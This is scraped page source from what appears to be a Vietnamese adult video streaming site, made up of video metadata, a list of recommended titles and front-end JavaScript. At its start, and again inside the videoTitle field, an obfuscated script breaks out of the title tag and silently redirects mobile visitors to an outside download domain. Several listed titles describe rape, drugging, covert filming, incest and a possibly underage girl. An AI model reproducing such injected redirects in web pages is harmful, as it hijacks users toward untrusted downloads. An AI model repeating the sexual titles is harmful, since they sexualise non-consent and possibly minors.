</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>HEYZO 3274 Hai người bạn thân thiết, cả hai đều có vòng một khủng! Bộ ba ngoài màn ảnh [Phần 2] - T-chan - R-chan
HEYZO 3274 Hai người bạn thân thiết, cả hai đều có vòng một khủng! Bộ ba ngoài màn ảnh [Phần 2] - T-chan - R-chan","site_id":0,"video_url":"https://2605.v155p.com/20260607/jlBYJHKx/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMDAxM2FlZDM5MGJiYTc5MGY1NDRhYzI3NDUxNGM4NWIuanBn.cache","duration":"47:29","actor":[],"lastmod":1783766805,"rating":"9.0","view_count":181,"description":"HEYZO 3274 Hai cô bạn thân với vòng một khủng! Màn threesome ngoài màn ảnh [Phần 2] – T-chan – R-chan","tag":["hai","siêu","đóng","người bạn tốt","bạn bè","Ngực","Rất lớn","ống kính","Ba người","Ba người","Phần Hai","phần"],"site_url":"174846","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["无码专区"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMDAxM2FlZDM5MGJiYTc5MGY1NDRhYzI3NDUxNGM4NWIuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"HEYZO 3274 两个超级亲密的好朋友,胸部都很大!镜头外三人行【第二部分】——T酱——R酱","s_keywords":"HEYZO 3274 两个超级亲密的好朋友,胸部都很大!镜头外三人行【第二部分】——T酱——R酱","s_description":"HEYZO 3274 Hai người bạn thân thiết, cả hai đều có vòng một khủng! Bộ ba ngoài màn ảnh [Phần 2] - T-chan - R-chan","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZWI5ZDg5YzY5ZGM4ZjcxNWFiYWNiYTgyZjc2NTFjNmIuanBn.cache","vod_id":18969670,"title":"300MIUM-891 [Khoảng cách thế hệ là điều không thể tránh khỏi] Nữ sinh viên điều dưỡng tuổi teen xinh đẹp như thần tượng sẽ trở thành bạn gái của bạn! Thuyết phục","lastmod":"2025-03-23","duration":"02:17:04","url":"/play/18969670.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYmY0N2JmZTAxYTE3NTlkMjZhYTk0MjYyNzgxZjA5YjkuanBn.cache","vod_id":18928523,"title":"Em gái tôi (bạn gái) đã phải lòng một anh chàng mọt sách rất xấu tính—InshitsuOtakuniIkareruKanojo1","lastmod":"2025-12-14","duration":"00:18:36","url":"/play/18928523.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZmM4ZjRiOWM5YjllNDliMTI4ZjU0MDkwNzA2NDFiZjIuanBn.cache","vod_id":18941469,"title":"XXX-AV 24285 Quay phim bí mật trong khách sạn - Phần 3","lastmod":"2025-12-14","duration":"00:19:10","url":"/play/18941469.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMDAxM2FlZDM5MGJiYTc5MGY1NDRhYzI3NDUxNGM4NWIuanBn.cache","vod_id":19162378,"title":"HEYZO 3274 Hai người bạn thân thiết, cả hai đều có vòng một khủng! Bộ ba ngoài màn ảnh [Phần 2] - T-chan - R-chan","lastmod":"2026-07-11","duration":"47:29","url":"/play/19162378.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNGE3MWMwOGRjYzY3ODI3MDE4OGE1NzQ4YmY0NzE2MjMuanBn.cache","vod_id":18985271,"title":"MDTM-809: Quan hệ tình dục với một cô gái xinh đẹp, cực kỳ thích chịu đau, nhạy cảm trong bộ đồng phục - Tuyển chọn 01","lastmod":"2025-12-14","duration":"03:38:44","url":"/play/18985271.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTc4MGUwMDliZTRhYmU2ODExYWQ5ZTQwM2U0NDcwYTEuanBn.cache","vod_id":18943430,"title":"NANX-196_A là một cuộc phỏng vấn có phần khiêu khích được thực hiện trên đường phố với một người mẹ và con gái thân thiết như bạn bè.","lastmod":"2025-12-14","duration":"01:59:53","url":"/play/18943430.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTZhOTE3NDZkNDRjMDA2MGQ2OTBlMjhmOGNiNmRjN2MuanBn.cache","vod_id":18944170,"title":"OYC-302_B Cô gái bỏ nhà đi được ướp thuốc kích dục trong 1 đêm 2 ngày cùng chiếc nhẫn - Phần 2","lastmod":"2025-03-22","duration":"02:24:35","url":"/play/18944170.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjAyNmEzZTQ5MzkwYjUwMTM2ODdkMTY0ZDQ2ZTY2YjYuanBn.cache","vod_id":18994019,"title":"SIRO-3758 [Cảnh Quay Đầu Tiên] Ứng Dụng AV Trực Tuyến → Trải Nghiệm Quay Phim AV 987 Một nữ diễn viên tại công viên giải trí, để khiến mọi người mơ mộng, cô ấy đã độn thêm bộ ngực khổng lồ♪ Giống như một trò chơi cảm giác mạnh trong công viên giải trí, cô ấy lắc lư, và những tiếng \"rên rỉ\" và \"la hét\" vang vọng quanh giường. 1","lastmod":"2025-03-23","duration":"01:02:25","url":"/play/18994019.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYWNmM2RlYmEzNGFiMjc5ZWNjODJiNDAwMjIzYzE1NzguanBn.cache","vod_id":18944744,"title":"RBD-252_B Người Phụ Nữ Bị Trừng Phạt Bởi Dương Vật 5 Misaki Miyu Phần 2","lastmod":"2025-12-14","duration":"01:53:12","url":"/play/18944744.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly8xNTI2MDMwOXAudG9wLzIwMjYwMzEyL1l6eGRsQ2QwLzEuanBn.cache","vod_id":19148064,"title":"Bạn gái hóa trang thành cô gái thỏ để làm hài lòng bạn trai.","lastmod":"2026-03-13","duration":"22:23","url":"/play/19148064.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvY2FhZWQ5NmVhNmJiYjQ5MTU5OWVhMmM5NjQ4ZGY4ZTYuanBn.cache","vod_id":19066172,"title":"Được bạn của mẹ giới thiệu đến một ứng dụng hẹn hò, cô và những người bạn của mình đã ân cần chăm sóc lẫn nhau, trở thành \"những người trẻ tuổi dễ bị người khác lợi dụng\". (Kana Kusakabe, Hana Himesaki, JUQ_855)","lastmod":"2025-12-14","duration":"03:02:53","url":"/play/19066172.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNGMwMjU1YWMyZmFhZTQwZDJmZWIwZTZlZTYwN2M0ZjQuanBn.cache","vod_id":18964576,"title":"300MIUM-681 [Hiện đang rất được ưa chuộng] Thuê một cô y tá ngực cỡ H làm bạn gái!","lastmod":"2025-03-22","duration":"01:58:31","url":"/play/18964576.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzhlMTk3ZjIyZWRkY2NlZjhiNTc2YWRlZTUwYjhlNTkuanBn.cache","vod_id":18979597,"title":"Hai chị em sinh viên năm nhất xinh đẹp đã ngủ trước máy quay, khuôn mặt lộ rõ suốt quá trình, tham gia vào những cuộc trò chuyện tục tĩu với người xem nam. Người bạn thân bị lột trần dần dần, ngực bị xoa bóp, vùng kín bị sờ mó, và bị dùng máy rung chà xát vào người – cô ấy thậm chí còn chưa có lông mu.","lastmod":"2025-12-14","duration":"03:21:34","url":"/play/18979597.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODkwMTY3Mzk5NzljNWNkYjJkODRmNjViMzliYmZjNmMuanBn.cache","vod_id":18985080,"title":"[Phụ đề tiếng Trung] SSIS-849 Bộ ngực nhạy cảm, mềm mại trong cảnh quay gợi cảm cực rõ nét! Cận cảnh ngực cỡ I-Cup, dụng cụ hỗ trợ thủ dâm 4K - Akari Momoka","lastmod":"2025-03-23","duration":"02:03:12","url":"/play/18985080.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjM0ZjRhYTlmMzQ0OTkwZDIyMDllNWY4OTgzN2RmNzUuanBn.cache","vod_id":18957861,"title":"Pacopacomama Pacopacomama 012823_787 Maihama Mel, một phụ nữ trưởng thành với bộ ngực đầy đặn, đã thức tỉnh ham muốn quan hệ tình dục qua đường hậu môn.","lastmod":"2025-12-14","duration":"01:00:36","url":"/play/18957861.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA4MDQvYjYzMjYyM2Q0ZWUxZTBiZjRmOTJlNmQ5MzZkZGM0ZWQuanBn.cache","vod_id":19045280,"title":"MOER010, dù sở hữu làn da trắng mịn và vòng một đầy đặn... nhưng khi cởi bỏ quần áo, thân hình phủ đầy hình xăm của cô ấy lại toát lên vẻ quyến rũ gợi cảm. Chỉ cần chạm nhẹ, bạn sẽ bị cuốn hút không thể cưỡng lại. Cô gái xăm hình sói","lastmod":"2025-08-03","duration":"02:36:32","url":"/play/19045280.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYWU0OGRhZGY1NjgyNGFlMjgzYzliMDQxNjM3Y2E0NzIuanBn.cache","vod_id":19141883,"title":"Đã được gỡ lệnh cấm! Vợ tôi có thai với bạn của chồng cô ấy. (March Light JUQ-315)","lastmod":"2026-02-06","duration":"01:58:21","url":"/play/19141883.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNGRlODg0ZWMyMjVmZDEwNGRjYmVhNWEyZjRmOGI2YmEuanBn.cache","vod_id":19025038,"title":"Trên chuyến tàu SDMU525 One-Way Glass, một nam nữ bạn thân vừa tốt nghiệp đại học đang có chuyến đi đầu tiên cùng nhau. Nếu họ hào hứng với những trò chơi gợi cảm, liệu đó có phải là một \"buổi quan hệ tình dục kỷ niệm\" hay không? 3.","lastmod":"2025-03-24","duration":"03:46:02","url":"/play/19025038.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjM1NGEzYjYxOGU2MTdiZjAwNjU5YTM0ZTJmYzVhNWIuanBn.cache","vod_id":18992982,"title":"MEYD-501 Mẹ của một người bạn bị bạn của con trai mình cưỡng hiếp và ép phải đạt cực khoái nhiều lần... Shiori Kanzaki 1","lastmod":"2025-03-23","duration":"01:58:58","url":"/play/18992982.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvY2ZjMzAzNmExZWY4ZGIwMzM0NDk3ZmEyNDI1M2I2MDguanBn.cache","vod_id":18933603,"title":"MIAD-536_B Câu lạc bộ cửa hàng xà phòng thương mại tư nhân Awahime - Nữ sinh viên - Phần 1","lastmod":"2025-12-14","duration":"01:44:29","url":"/play/18933603.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MDgvMTUyMDlkM2E3NGViOWUxZmNhZmNlYWY3NWFmNDBiNzguanBn.cache","vod_id":19028334,"title":"Bí mật của Aoi Yurika với mẹ của bạn cô ấy ~ Cưỡng bức quan hệ với dì của cô ấy... Aoi Yurika VEC-536-C.","lastmod":"2025-04-08","duration":"01:30:11","url":"/play/19028334.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWJjYjRmNTQxOWVmYWQyNzA4NDQ4MTFiMDBmNzdkYzguanBn.cache","vod_id":19013794,"title":"IENF046 Nếu một cô gái trẻ nghiệp dư có thể thử quan hệ tình dục khô với bạn mình qua một lớp màng bọc thực phẩm, cô ấy sẽ nhận được phần thưởng bằng tiền mặt!! (Loạn luân).","lastmod":"2025-03-24","duration":"02:41:19","url":"/play/19013794.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWE4MGE3ZGRjZTMxZmVhMTI2YzM0NmUxMjc4M2FjODkuanBn.cache","vod_id":18993984,"title":"SIRO-3872 [Lần quay đầu tiên] Ứng dụng AV trực tuyến → Trải nghiệm quay phim AV 1001 Cặp mông siêu đẹp, mềm mại đến mức run lên chỉ cần chạm vào! Âm đạo ướt át nhạy cảm của một cô gái bị một dương vật khổng lồ thâm nhập, và cô ấy rên rỉ không ngừng LOL1","lastmod":"2025-12-14","duration":"01:07:33","url":"/play/18993984.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjVhYmViYmIyYWEzNTNjMGJmY2MzNGM5MzQwMWNmYmEuanBn.cache","vod_id":18967195,"title":"[Không che] MAAN-837 [Cô gái lẳng lơ ngực khủng tự nhiên] Thưởng thức góc nhìn POV với một cô gái lẳng lơ có vòng một cỡ I! Dù đã có bạn trai, cô ấy vẫn có đời sống tình dục.","lastmod":"2025-03-22","duration":"01:46:27","url":"/play/18967195.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>HEYZO 3274 Hai người bạn thân thiết, cả hai đều có vòng một khủng! Bộ ba ngoài màn ảnh [Phần 2] - T-chan - R-chan',
language: 'vi',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Đã sao chép liên kết!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Đã sao chép liên kết!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}